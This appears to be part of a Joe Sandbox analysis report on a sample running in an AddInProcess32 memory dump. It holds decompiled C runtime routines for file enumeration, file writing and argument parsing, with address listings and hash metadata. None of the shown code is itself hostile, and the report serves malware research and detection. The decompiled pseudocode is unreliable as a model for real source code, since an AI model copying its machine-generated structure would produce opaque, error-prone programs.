														asm("sbb eax, eax");
														_v668 = _t226;
														_v664 = _t226;
														_v644 =  ~(_t169 & 0x000000ff) & _t244 - _t287 + 0x00000001;
														_v660 = _t226;
														_v656 = _t226;
														_t175 = E0040B3A6(_t244 - _t287 + 1, _t287,  &_v676, E0040B8BA(_t278, __eflags));
														_t313 = _t312 + 0xc;
														asm("sbb eax, eax");
														_t179 = FindFirstFileExW( !( ~_t175) & _v668, _t226,  &_v608, _t226, _t226, _t226);
														_t301 = _t179;
														__eflags = _t301 - 0xffffffff;
														if(_t301 != 0xffffffff) {
															_t249 =  *((intOrPtr*)(_v616 + 4)) -  *_v616;
															__eflags = _t249;
															_v648 = _t249 >> 2;
															do {
																_v640 = _t226;
																_v636 = _t226;
																_v632 = _t226;
																_v628 = _t226;
																_v624 = _t226;
																_v620 = _t226;
																_t185 = E0040B2D7( &(_v608.cFileName),  &_v640,  &_v609, E0040B8BA(_t278, __eflags));
																_t313 = _t313 + 0x10;
																asm("sbb eax, eax");
																_t188 =  !( ~_t185) & _v632;
																__eflags =  *_t188 - 0x2e;
																if( *_t188 != 0x2e) {
																	L67:
																	_push(_v616);
																	_push(_v644);
																	_push(_t287);
																	_push(_t188);
																	L33();
																	_t313 = _t313 + 0x10;
																	_v652 = _t188;
																	__eflags = _t188;
																	if(_t188 != 0) {
																		__eflags = _v620 - _t226;
																		if(_v620 != _t226) {
																			E0040A8C2(_v632);
																			_t188 = _v652;
																		}
																		_t226 = _t188;
																	} else {
																		goto L68;
																	}
																} else {
																	_t255 =  *((intOrPtr*)(_t188 + 1));
																	__eflags = _t255;
																	if(_t255 == 0) {
																		goto L68;
																	} else {
																		__eflags = _t255 - 0x2e;
																		if(_t255 != 0x2e) {
																			goto L67;
																		} else {
																			__eflags =  *((intOrPtr*)(_t188 + 2)) - _t226;
																			if( *((intOrPtr*)(_t188 + 2)) == _t226) {
																				goto L68;
																			} else {
																				goto L67;
																			}
																		}
																	}
																}
																L76:
																FindClose(_t301);
																goto L77;
																L68:
																__eflags = _v620 - _t226;
																if(_v620 != _t226) {
																	E0040A8C2(_v632);
																}
																__eflags = FindNextFileW(_t301,  &_v608);
															} while (__eflags != 0);
															_t196 = _v616;
															_t257 = _v648;
															_t278 =  *_t196;
															_t199 =  *((intOrPtr*)(_t196 + 4)) -  *_t196 >> 2;
															__eflags = _t257 - _t199;
															if(_t257 != _t199) {
																E0040E5D0(_t278, _t278 + _t257 * 4, _t199 - _t257, 4, E0040B20D);
															}
															goto L76;
														} else {
															_push(_v616);
															_push(_t226);
															_push(_t226);
															_push(_t287);
															L33();
															_t226 = _t179;
														}
														L77:
														__eflags = _v656;
														_pop(_t300);
														if(_v656 != 0) {
															E0040A8C2(_v668);
														}
														_t190 = _t226;
													} else {
														_t190 = _t287 + 1;
														__eflags = _t244 - _t287 + 1;
														if(_t244 == _t287 + 1) {
															_t168 = _v609;
															goto L56;
														} else {
															_push(_t278);
															_push(0);
															_push(0);
															_push(_t287);
															L33();
														}
													}
													_pop(_t288);
													__eflags = _v16 ^ _t307;
													_pop(_t227);
													return E0040798D(_t190, _t227, _v16 ^ _t307, _t278, _t288, _t300);
												} else {
													goto L40;
												}
											}
										} else {
											_t209 = 0xc;
											L37:
											return _t209;
										}
									} else {
										goto L23;
									}
									goto L81;
									L23:
									_t212 = _v12;
									_t263 = _v16;
									 *((intOrPtr*)(_v32 + _t212)) = _t263;
									_t140 = _t212 + 4;
									_t233 = _t263 + _v20;
									_v16 = _t233;
									_v12 = _t140;
									__eflags = _t140 - _v40;
								} while (_t140 != _v40);
								goto L24;
							}
						} else {
							_t297 = _t296 | 0xffffffff;
							_v12 = _t297;
							L25:
							E0040A8C2(_t222);
							_pop(_t234);
							goto L26;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t222;
							_t217 = E0040EAE0(_t132,  &_v8);
							_t234 =  *_t292;
							__eflags = _t217;
							if(_t217 != 0) {
								_push( &(_v608.cAlternateFileName));
								_push(_t217);
								_push(_t234);
								L46();
								_t309 = _t309 + 0xc;
								_v12 = _t217;
								_t297 = _t217;
							} else {
								_t218 =  &(_v608.cAlternateFileName);
								_push(_t218);
								_push(_t222);
								_push(_t222);
								_push(_t234);
								L33();
								_t297 = _t218;
								_t309 = _t309 + 0x10;
								_v12 = _t297;
							}
							__eflags = _t297;
							if(_t297 != 0) {
								break;
							}
							_t292 =  &(_a4[1]);
							_a4 = _t292;
							_t132 =  *_t292;
							__eflags = _t132;
							if(_t132 != 0) {
								continue;
							} else {
								_t283 = _v608.cAlternateFileName;
								_t232 = _v40;
								goto L9;
							}
							goto L81;
						}
						_t283 = _v608.cAlternateFileName;
						L26:
						_t272 = _t283;
						_v32 = _t272;
						__eflags = _v40 - _t272;
						asm("sbb ecx, ecx");
						_t236 =  !_t234 & _v40 - _t272 + 0x00000003 >> 0x00000002;
						__eflags = _t236;
						_v28 = _t236;
						if(_t236 != 0) {
							_t299 = _t236;
							do {
								E0040A8C2( *_t283);
								_t222 = _t222 + 1;
								_t283 = _t283 + 4;
								__eflags = _t222 - _t299;
							} while (_t222 != _t299);
							_t283 = _v608.cAlternateFileName;
							_t297 = _v12;
						}
						E0040A8C2(_t283);
						goto L31;
					}
				} else {
					_t219 = E0040ABB3(_t317);
					_t297 = 0x16;
					 *_t219 = _t297;
					E0040AAF6();
					L31:
					return _t297;
				}
				L81:
			}

















































































































                                                          0x0040b3c8
                                                          0x0040b3cb
                                                          0x0040b3ce
                                                          0x0040b3cf
                                                          0x0040b3d1
                                                          0x0040b3e7
                                                          0x0040b3eb
                                                          0x0040b3ee
                                                          0x0040b3f0
                                                          0x0040b3f2
                                                          0x0040b3f4
                                                          0x0040b3f6
                                                          0x0040b3f9
                                                          0x0040b3fc
                                                          0x0040b3ff
                                                          0x0040b401
                                                          0x0040b464
                                                          0x0040b466
                                                          0x0040b469
                                                          0x0040b46b
                                                          0x0040b46f
                                                          0x0040b478
                                                          0x0040b479
                                                          0x0040b47c
                                                          0x0040b47e
                                                          0x0040b481
                                                          0x0040b485
                                                          0x0040b485
                                                          0x0040b487
                                                          0x0040b489
                                                          0x0040b48b
                                                          0x0040b48d
                                                          0x0040b48d
                                                          0x0040b48f
                                                          0x0040b492
                                                          0x0040b495
                                                          0x0040b495
                                                          0x0040b497
                                                          0x0040b498
                                                          0x0040b498
                                                          0x0040b4a3
                                                          0x0040b4a5
                                                          0x0040b4a8
                                                          0x0040b4a9
                                                          0x0040b4ac
                                                          0x0040b4ac
                                                          0x0040b4b0
                                                          0x0040b4b3
                                                          0x0040b4b6
                                                          0x0040b4b6
                                                          0x0040b4b6
                                                          0x0040b4c3
                                                          0x0040b4c5
                                                          0x0040b4c8
                                                          0x0040b4ca
                                                          0x0040b4e2
                                                          0x0040b4e5
                                                          0x0040b4e8
                                                          0x0040b4ea
                                                          0x0040b4ed
                                                          0x0040b4ef
                                                          0x0040b4f2
                                                          0x0040b4f5
                                                          0x0040b552
                                                          0x0040b555
                                                          0x0040b558
                                                          0x0040b55a
                                                          0x00000000
                                                          0x0040b4f7
                                                          0x0040b4f9
                                                          0x0040b4f9
                                                          0x0040b4fb
                                                          0x0040b4fe
                                                          0x0040b4fe
                                                          0x0040b500
                                                          0x0040b502
                                                          0x0040b508
                                                          0x0040b50b
                                                          0x0040b50b
                                                          0x0040b50d
                                                          0x0040b50e
                                                          0x0040b50e
                                                          0x0040b515
                                                          0x0040b518
                                                          0x0040b51c
                                                          0x0040b529
                                                          0x0040b52e
                                                          0x0040b531
                                                          0x0040b533
                                                          0x0040b5a7
                                                          0x0040b5a8
                                                          0x0040b5a9
                                                          0x0040b5aa
                                                          0x0040b5ab
                                                          0x0040b5ac
                                                          0x0040b5b1
                                                          0x0040b5b5
                                                          0x0040b5b7
                                                          0x0040b5b8
                                                          0x0040b5bb
                                                          0x0040b5bb
                                                          0x0040b5be
                                                          0x0040b5be
                                                          0x0040b5c0
                                                          0x0040b5c1
                                                          0x0040b5c1
                                                          0x0040b5c5
                                                          0x0040b5c6
                                                          0x0040b5cd
                                                          0x0040b5d0
                                                          0x0040b5d3
                                                          0x0040b5d5
                                                          0x0040b5dd
                                                          0x0040b5de
                                                          0x0040b5df
                                                          0x0040b5e2
                                                          0x0040b5ec
                                                          0x0040b5f0
                                                          0x0040b5f2
                                                          0x0040b606
                                                          0x0040b606
                                                          0x0040b609
                                                          0x0040b613
                                                          0x0040b618
                                                          0x0040b61b
                                                          0x0040b61d
                                                          0x00000000
                                                          0x0040b61f
                                                          0x0040b61f
                                                          0x0040b624
                                                          0x0040b62b
                                                          0x0040b62e
                                                          0x0040b630
                                                          0x0040b641
                                                          0x0040b643
                                                          0x0040b645
                                                          0x0040b645
                                                          0x0040b645
                                                          0x0040b632
                                                          0x0040b633
                                                          0x0040b638
                                                          0x0040b63b
                                                          0x0040b64a
                                                          0x0040b650
                                                          0x00000000
                                                          0x0040b653
                                                          0x0040b5f4
                                                          0x0040b5f4
                                                          0x0040b5fa
                                                          0x0040b5ff
                                                          0x0040b602
                                                          0x0040b604
                                                          0x0040b656
                                                          0x0040b658
                                                          0x0040b659
                                                          0x0040b65a
                                                          0x0040b65b
                                                          0x0040b65c
                                                          0x0040b65d
                                                          0x0040b662
                                                          0x0040b665
                                                          0x0040b666
                                                          0x0040b668
                                                          0x0040b66e
                                                          0x0040b675
                                                          0x0040b678
                                                          0x0040b67b
                                                          0x0040b67e
                                                          0x0040b67f
                                                          0x0040b680
                                                          0x0040b683
                                                          0x0040b689
                                                          0x0040b68b
                                                          0x0040b68d
                                                          0x0040b68d
                                                          0x0040b68f
                                                          0x0040b691
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b693
                                                          0x0040b695
                                                          0x0040b697
                                                          0x0040b699
                                                          0x0040b6a4
                                                          0x0040b6a6
                                                          0x0040b6a8
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b6a8
                                                          0x0040b699
                                                          0x00000000
                                                          0x0040b695
                                                          0x0040b6aa
                                                          0x0040b6aa
                                                          0x0040b6b0
                                                          0x0040b6b2
                                                          0x0040b6b8
                                                          0x0040b6ba
                                                          0x0040b6dc
                                                          0x0040b6dc
                                                          0x0040b6de
                                                          0x0040b6e0
                                                          0x0040b6ec
                                                          0x0040b6ec
                                                          0x0040b6e2
                                                          0x0040b6e2
                                                          0x0040b6e4
                                                          0x00000000
                                                          0x0040b6e6
                                                          0x0040b6e6
                                                          0x0040b6e8
                                                          0x0040b6ea
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b6ea
                                                          0x0040b6e4
                                                          0x0040b6f4
                                                          0x0040b6fc
                                                          0x0040b702
                                                          0x0040b703
                                                          0x0040b705
                                                          0x0040b70d
                                                          0x0040b713
                                                          0x0040b719
                                                          0x0040b71f
                                                          0x0040b733
                                                          0x0040b738
                                                          0x0040b743
                                                          0x0040b753
                                                          0x0040b759
                                                          0x0040b75b
                                                          0x0040b75e
                                                          0x0040b781
                                                          0x0040b781
                                                          0x0040b786
                                                          0x0040b78c
                                                          0x0040b78c
                                                          0x0040b792
                                                          0x0040b798
                                                          0x0040b79e
                                                          0x0040b7a4
                                                          0x0040b7aa
                                                          0x0040b7cb
                                                          0x0040b7d0
                                                          0x0040b7d5
                                                          0x0040b7d9
                                                          0x0040b7df
                                                          0x0040b7e2
                                                          0x0040b7f5
                                                          0x0040b7f5
                                                          0x0040b7fb
                                                          0x0040b801
                                                          0x0040b802
                                                          0x0040b803
                                                          0x0040b808
                                                          0x0040b80b
                                                          0x0040b811
                                                          0x0040b813
                                                          0x0040b871
                                                          0x0040b877
                                                          0x0040b87f
                                                          0x0040b884
                                                          0x0040b88a
                                                          0x0040b88b
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b7e4
                                                          0x0040b7e4
                                                          0x0040b7e7
                                                          0x0040b7e9
                                                          0x00000000
                                                          0x0040b7eb
                                                          0x0040b7eb
                                                          0x0040b7ee
                                                          0x00000000
                                                          0x0040b7f0
                                                          0x0040b7f0
                                                          0x0040b7f3
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b7f3
                                                          0x0040b7ee
                                                          0x0040b7e9
                                                          0x0040b88d
                                                          0x0040b88e
                                                          0x00000000
                                                          0x0040b815
                                                          0x0040b815
                                                          0x0040b81b
                                                          0x0040b823
                                                          0x0040b828
                                                          0x0040b837
                                                          0x0040b837
                                                          0x0040b83f
                                                          0x0040b845
                                                          0x0040b84b
                                                          0x0040b852
                                                          0x0040b855
                                                          0x0040b857
                                                          0x0040b867
                                                          0x0040b86c
                                                          0x00000000
                                                          0x0040b760
                                                          0x0040b760
                                                          0x0040b766
                                                          0x0040b767
                                                          0x0040b768
                                                          0x0040b769
                                                          0x0040b771
                                                          0x0040b771
                                                          0x0040b894
                                                          0x0040b894
                                                          0x0040b89b
                                                          0x0040b89c
                                                          0x0040b8a4
                                                          0x0040b8a9
                                                          0x0040b8aa
                                                          0x0040b6bc
                                                          0x0040b6bc
                                                          0x0040b6bf
                                                          0x0040b6c1
                                                          0x0040b6d6
                                                          0x00000000
                                                          0x0040b6c3
                                                          0x0040b6c3
                                                          0x0040b6c6
                                                          0x0040b6c7
                                                          0x0040b6c8
                                                          0x0040b6c9
                                                          0x0040b6ce
                                                          0x0040b6c1
                                                          0x0040b8af
                                                          0x0040b8b0
                                                          0x0040b8b2
                                                          0x0040b8b9
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b604
                                                          0x0040b5d7
                                                          0x0040b5d9
                                                          0x0040b5da
                                                          0x0040b5dc
                                                          0x0040b5dc
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b535
                                                          0x0040b535
                                                          0x0040b53b
                                                          0x0040b53e
                                                          0x0040b541
                                                          0x0040b544
                                                          0x0040b547
                                                          0x0040b54a
                                                          0x0040b54d
                                                          0x0040b54d
                                                          0x00000000
                                                          0x0040b4fe
                                                          0x0040b4cc
                                                          0x0040b4cc
                                                          0x0040b4cf
                                                          0x0040b55c
                                                          0x0040b55d
                                                          0x0040b562
                                                          0x00000000
                                                          0x0040b562
                                                          0x0040b403
                                                          0x0040b403
                                                          0x0040b406
                                                          0x0040b40e
                                                          0x0040b411
                                                          0x0040b418
                                                          0x0040b41a
                                                          0x0040b41c
                                                          0x0040b437
                                                          0x0040b438
                                                          0x0040b439
                                                          0x0040b43a
                                                          0x0040b43f
                                                          0x0040b442
                                                          0x0040b445
                                                          0x0040b41e
                                                          0x0040b41e
                                                          0x0040b421
                                                          0x0040b422
                                                          0x0040b423
                                                          0x0040b424
                                                          0x0040b425
                                                          0x0040b42a
                                                          0x0040b42c
                                                          0x0040b42f
                                                          0x0040b42f
                                                          0x0040b447
                                                          0x0040b449
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b452
                                                          0x0040b455
                                                          0x0040b458
                                                          0x0040b45a
                                                          0x0040b45c
                                                          0x00000000
                                                          0x0040b45e
                                                          0x0040b45e
                                                          0x0040b461
                                                          0x00000000
                                                          0x0040b461
                                                          0x00000000
                                                          0x0040b45c
                                                          0x0040b4d7
                                                          0x0040b563
                                                          0x0040b566
                                                          0x0040b56a
                                                          0x0040b573
                                                          0x0040b576
                                                          0x0040b57a
                                                          0x0040b57a
                                                          0x0040b57c
                                                          0x0040b57f
                                                          0x0040b581
                                                          0x0040b583
                                                          0x0040b585
                                                          0x0040b58a
                                                          0x0040b58b
                                                          0x0040b58f
                                                          0x0040b58f
                                                          0x0040b593
                                                          0x0040b596
                                                          0x0040b596
                                                          0x0040b59a
                                                          0x00000000
                                                          0x0040b5a1
                                                          0x0040b3d3
                                                          0x0040b3d3
                                                          0x0040b3da
                                                          0x0040b3db
                                                          0x0040b3dd
                                                          0x0040b5a2
                                                          0x0040b5a6
                                                          0x0040b5a6
                                                          0x00000000

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: _free
                                                          • String ID: *?
                                                          • API String ID: 269201875-2564092906
                                                          • Opcode ID: d880b469dbe76d33ac39a5df5ceb2b4ea9cb746e4edd6970d01d1027b2550dbf
                                                          • Instruction ID: df1cc37fd832f7267e34634948dc081f6587872184b0bd605520d53f1afa376b
                                                          • Opcode Fuzzy Hash: d880b469dbe76d33ac39a5df5ceb2b4ea9cb746e4edd6970d01d1027b2550dbf
                                                          • Instruction Fuzzy Hash: CA615071E00219AFCB14DFA9C8815EEFBF5EF48314B1481AAE815F7381D7799E418B98
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040F8F7 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 177fileCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          C-Code - Quality: 90%
                                                          			E0040F8F7(signed int _a4, void* _a8, signed int _a12) {
				void* _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				long _v40;
				char _v44;
				void* _t58;
				signed int _t66;
				signed int _t69;
				intOrPtr _t70;
				signed int _t73;
				signed int _t74;
				signed int _t76;
				signed int _t82;
				signed int _t85;
				signed int _t92;
				void* _t93;
				signed int _t95;
				signed int _t97;
				signed int _t101;
				intOrPtr _t102;
				signed int _t103;
				signed int _t104;
				signed int _t108;
				signed int _t110;
				void* _t112;

				_t95 = _a12;
				_t58 = _a8;
				_v8 = _t58;
				_v20 = _t95;
				_t108 = _a4;
				if(_t95 == 0) {
					L37:
					__eflags = 0;
					return 0;
				}
				_t116 = _t58;
				if(_t58 != 0) {
					_t101 = _t108 >> 6;
					_t104 = (_t108 & 0x0000003f) * 0x38;
					_v12 = _t101;
					_t102 =  *((intOrPtr*)(0x41b310 + _t101 * 4));
					_v16 = _t104;
					_t92 =  *((intOrPtr*)(_t102 + _t104 + 0x29));
					__eflags = _t92 - 2;
					if(_t92 == 2) {
						L6:
						__eflags =  !_t95 & 0x00000001;
						if(__eflags == 0) {
							goto L2;
						}
						L7:
						__eflags =  *(_t102 + _t104 + 0x28) & 0x00000020;
						if(__eflags != 0) {
							E0040FF96(_t108, 0, 0, 2);
							_t112 = _t112 + 0x10;
						}
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_t69 = E0040F49E(_t102, __eflags, _t108);
						__eflags = _t69;
						if(_t69 == 0) {
							_t97 = _v12;
							_t103 = _v16;
							_t70 =  *((intOrPtr*)(0x41b310 + _t97 * 4));
							__eflags =  *((char*)(_t70 + _t103 + 0x28));
							if( *((char*)(_t70 + _t103 + 0x28)) >= 0) {
								_t93 = _v8;
								asm("stosd");
								asm("stosd");
								asm("stosd");
								_t73 = WriteFile( *(_t70 + _t103 + 0x18), _t93, _v20,  &_v40, 0);
								__eflags = _t73;
								if(_t73 == 0) {
									_v44 = GetLastError();
								}
								goto L26;
							}
							_t93 = _v8;
							_t82 = _t92;
							__eflags = _t82;
							if(_t82 == 0) {
								E0040F50F( &_v44, _t108, _t93, _v20);
								goto L15;
							}
							_t85 = _t82 - 1;
							__eflags = _t85;
							if(_t85 == 0) {
								_t84 = E0040F6D3( &_v44, _t108, _t93, _v20);
								goto L15;
							}
							__eflags = _t85 != 1;
							if(_t85 != 1) {
								goto L28;
							}
							_t84 = E0040F5EA( &_v44, _t108, _t93, _v20);
							goto L15;
						} else {
							__eflags = _t92;
							if(__eflags == 0) {
								_t93 = _v8;
								_t84 = E0040F08C(__eflags,  &_v44, _t108, _t93, _v20);
								L15:
								L13:
								L26:
								asm("movsd");
								asm("movsd");
								asm("movsd");
								L27:
								_t97 = _v12;
								_t103 = _v16;
								L28:
								_t74 = _v28;
								__eflags = _t74;
								if(_t74 != 0) {
									return _t74 - _v24;
								}
								_t76 = _v32;
								__eflags = _t76;
								if(_t76 == 0) {
									__eflags =  *( *((intOrPtr*)(0x41b310 + _t97 * 4)) + _t103 + 0x28) & 0x00000040;
									if(__eflags == 0) {
										L35:
										 *((intOrPtr*)(E0040ABB3(__eflags))) = 0x1c;
										_t66 = E0040ABA0(__eflags);
										 *_t66 =  *_t66 & 0x00000000;
										L3:
										return _t66 | 0xffffffff;
									}
									__eflags =  *_t93 - 0x1a;
									if(__eflags == 0) {
										goto L37;
									}
									goto L35;
								}
								_t110 = 5;
								__eflags = _t76 - _t110;
								if(__eflags != 0) {
									_t66 = E0040AB7D(_t76);
								} else {
									 *((intOrPtr*)(E0040ABB3(__eflags))) = 9;
									_t66 = E0040ABA0(__eflags);
									 *_t66 = _t110;
								}
								goto L3;
							}
							__eflags = _t92 - 1 - 1;
							_t93 = _v8;
							if(_t92 - 1 > 1) {
								goto L27;
							}
							E0040F436( &_v44, _t93, _v20);
							goto L13;
						}
					}
					__eflags = _t92 - 1;
					if(_t92 != 1) {
						goto L7;
					}
					goto L6;
				}
				L2:
				 *(E0040ABA0(_t116)) =  *_t64 & 0x00000000;
				 *((intOrPtr*)(E0040ABB3( *_t64))) = 0x16;
				_t66 = E0040AAF6();
				goto L3;
			}
































                                                          0x0040f8ff
                                                          0x0040f902
                                                          0x0040f905
                                                          0x0040f908
                                                          0x0040f90d
                                                          0x0040f913
                                                          0x0040fad2
                                                          0x0040fad2
                                                          0x00000000
                                                          0x0040fad2
                                                          0x0040f919
                                                          0x0040f91b
                                                          0x0040f941
                                                          0x0040f947
                                                          0x0040f94a
                                                          0x0040f94d
                                                          0x0040f954
                                                          0x0040f957
                                                          0x0040f95b
                                                          0x0040f95e
                                                          0x0040f965
                                                          0x0040f969
                                                          0x0040f96b
                                                          0x00000000
                                                          0x00000000
                                                          0x0040f96d
                                                          0x0040f96d
                                                          0x0040f972
                                                          0x0040f97b
                                                          0x0040f980
                                                          0x0040f980
                                                          0x0040f988
                                                          0x0040f98a
                                                          0x0040f98b
                                                          0x0040f98c
                                                          0x0040f992
                                                          0x0040f994
                                                          0x0040f9d5
                                                          0x0040f9d8
                                                          0x0040f9db
                                                          0x0040f9e2
                                                          0x0040f9e7
                                                          0x0040fa35
                                                          0x0040fa3a
                                                          0x0040fa3d
                                                          0x0040fa3e
                                                          0x0040fa48
                                                          0x0040fa4e
                                                          0x0040fa50
                                                          0x0040fa58
                                                          0x0040fa58
                                                          0x00000000
                                                          0x0040fa5b
                                                          0x0040f9ec
                                                          0x0040f9ef
                                                          0x0040f9ef
                                                          0x0040f9f2
                                                          0x0040fa27
                                                          0x00000000
                                                          0x0040fa27
                                                          0x0040f9f4
                                                          0x0040f9f4
                                                          0x0040f9f7
                                                          0x0040fa17
                                                          0x00000000
                                                          0x0040fa17
                                                          0x0040f9f9
                                                          0x0040f9fc
                                                          0x00000000
                                                          0x00000000
                                                          0x0040fa07
                                                          0x00000000
                                                          0x0040f996
                                                          0x0040f996
                                                          0x0040f998
                                                          0x0040f9c2
                                                          0x0040f9cb
                                                          0x0040f9d0
                                                          0x0040f9b8
                                                          0x0040fa5e
                                                          0x0040fa61
                                                          0x0040fa62
                                                          0x0040fa63
                                                          0x0040fa64
                                                          0x0040fa64
                                                          0x0040fa67
                                                          0x0040fa6a
                                                          0x0040fa6a
                                                          0x0040fa6d
                                                          0x0040fa6f
                                                          0x00000000
                                                          0x0040facd
                                                          0x0040fa71
                                                          0x0040fa74
                                                          0x0040fa76
                                                          0x0040faa9
                                                          0x0040faae
                                                          0x0040fab5
                                                          0x0040faba
                                                          0x0040fac0
                                                          0x0040fac5
                                                          0x0040f935
                                                          0x00000000
                                                          0x0040f935
                                                          0x0040fab0
                                                          0x0040fab3
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040fab3
                                                          0x0040fa7a
                                                          0x0040fa7b
                                                          0x0040fa7d
                                                          0x0040fa97
                                                          0x0040fa7f
                                                          0x0040fa84
                                                          0x0040fa8a
                                                          0x0040fa8f
                                                          0x0040fa8f
                                                          0x00000000
                                                          0x0040fa7d
                                                          0x0040f99c
                                                          0x0040f99f
                                                          0x0040f9a2
                                                          0x00000000
                                                          0x00000000
                                                          0x0040f9b0
                                                          0x00000000
                                                          0x0040f9b5
                                                          0x0040f994
                                                          0x0040f960
                                                          0x0040f963
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040f963
                                                          0x0040f91d
                                                          0x0040f922
                                                          0x0040f92a
                                                          0x0040f930
                                                          0x00000000

                                                          APIs
                                                            • Part of subcall function 0040F08C: GetConsoleCP.KERNEL32(?,?,00000000), ref: 0040F0D4
                                                          • WriteFile.KERNEL32(?,00000000,00402E75,00000016,00000000,00000008,?,?,0040A7D4,00000016,0040AFC0,?,?,004095AD,00402E75), ref: 0040FA48
                                                          • GetLastError.KERNEL32(?,?,004095AD,00402E75), ref: 0040FA52
                                                          • __dosmaperr.LIBCMT ref: 0040FA97
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: ConsoleErrorFileLastWrite__dosmaperr
                                                          • String ID: u.@
                                                          • API String ID: 251514795-3500161813
                                                          • Opcode ID: 458e4af861cb865faa882a7edab8da1775981757476ed3be9e8eccee013dd74e
                                                          • Instruction ID: 63a2e894200bd97d7942a2953f45ef20e5011d01705efa6d58a92f59b8668944
                                                          • Opcode Fuzzy Hash: 458e4af861cb865faa882a7edab8da1775981757476ed3be9e8eccee013dd74e
                                                          • Instruction Fuzzy Hash: E6519371A0020AAFDB21DFA5C841BEFBBB9EF09314F140477E500B76D1D6789949CBA9
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 004097EE Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 91%
                                                          			E004097EE(void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				char* _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t26;
				intOrPtr* _t36;
				signed int _t37;
				signed int _t40;
				char _t42;
				signed int _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr _t48;
				signed int _t49;
				signed int _t54;
				void* _t57;
				intOrPtr* _t58;
				signed int _t64;
				signed int _t66;

				_t57 = __edx;
				_t48 = _a4;
				if(_t48 != 0) {
					__eflags = _t48 - 2;
					if(_t48 == 2) {
						L5:
						E0040C100(_t48);
						E0040BB41(_t48, _t57, 0, 0x41b038, 0, 0x41b038, 0x104);
						_t26 =  *0x41b1b0; // 0x6a3420
						 *0x41b1a0 = 0x41b038;
						_v20 = _t26;
						__eflags = _t26;
						if(_t26 == 0) {
							L7:
							_t26 = 0x41b038;
							_v20 = 0x41b038;
							L8:
							_v8 = 0;
							_v16 = 0;
							_t64 = E00409A9B(E00409924( &_v8, _t26, 0, 0,  &_v8,  &_v16), _v8, _v16, 1);
							__eflags = _t64;
							if(__eflags != 0) {
								E00409924( &_v8, _v20, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
								__eflags = _t48 - 1;
								if(_t48 != 1) {
									_v12 = 0;
									_push( &_v12);
									_t49 = E0040BA34(_t64, _t64);
									__eflags = _t49;
									if(_t49 == 0) {
										_t58 = _v12;
										_t54 = 0;
										_t36 = _t58;
										__eflags =  *_t58;
										if( *_t58 == 0) {
											L17:
											_t37 = 0;
											 *0x41b1a4 = _t54;
											_v12 = 0;
											_t49 = 0;
											 *0x41b1a8 = _t58;
											L18:
											E0040A8C2(_t37);
											_v12 = 0;
											L19:
											E0040A8C2(_t64);
											_t40 = _t49;
											L20:
											return _t40;
										} else {
											goto L16;
										}
										do {
											L16:
											_t36 = _t36 + 4;
											_t54 = _t54 + 1;
											__eflags =  *_t36;
										} while ( *_t36 != 0);
										goto L17;
									}
									_t37 = _v12;
									goto L18;
								}
								_t42 = _v8 - 1;
								__eflags = _t42;
								 *0x41b1a4 = _t42;
								_t43 = _t64;
								_t64 = 0;
								 *0x41b1a8 = _t43;
								L12:
								_t49 = 0;
								goto L19;
							}
							_t44 = E0040ABB3(__eflags);
							_push(0xc);
							_pop(0);
							 *_t44 = 0;
							goto L12;
						}
						__eflags =  *_t26;
						if( *_t26 != 0) {
							goto L8;
						}
						goto L7;
					}
					__eflags = _t48 - 1;
					if(__eflags == 0) {
						goto L5;
					}
					_t45 = E0040ABB3(__eflags);
					_t66 = 0x16;
					 *_t45 = _t66;
					E0040AAF6();
					_t40 = _t66;
					goto L20;
				}
				return 0;
			}

























                                                          0x004097ee
                                                          0x004097f7
                                                          0x004097fc
                                                          0x00409806
                                                          0x00409809
                                                          0x00409826
                                                          0x00409827
                                                          0x0040983a
                                                          0x0040983f
                                                          0x00409847
                                                          0x0040984d
                                                          0x00409850
                                                          0x00409852
                                                          0x00409859
                                                          0x00409859
                                                          0x0040985b
                                                          0x0040985e
                                                          0x00409861
                                                          0x00409868
                                                          0x00409881
                                                          0x00409886
                                                          0x00409888
                                                          0x004098a9
                                                          0x004098b1
                                                          0x004098b4
                                                          0x004098cf
                                                          0x004098d2
                                                          0x004098d9
                                                          0x004098dd
                                                          0x004098df
                                                          0x004098e6
                                                          0x004098e9
                                                          0x004098eb
                                                          0x004098ed
                                                          0x004098ef
                                                          0x004098f9
                                                          0x004098f9
                                                          0x004098fb
                                                          0x00409901
                                                          0x00409904
                                                          0x00409906
                                                          0x0040990c
                                                          0x0040990d
                                                          0x00409913
                                                          0x00409916
                                                          0x00409917
                                                          0x0040991d
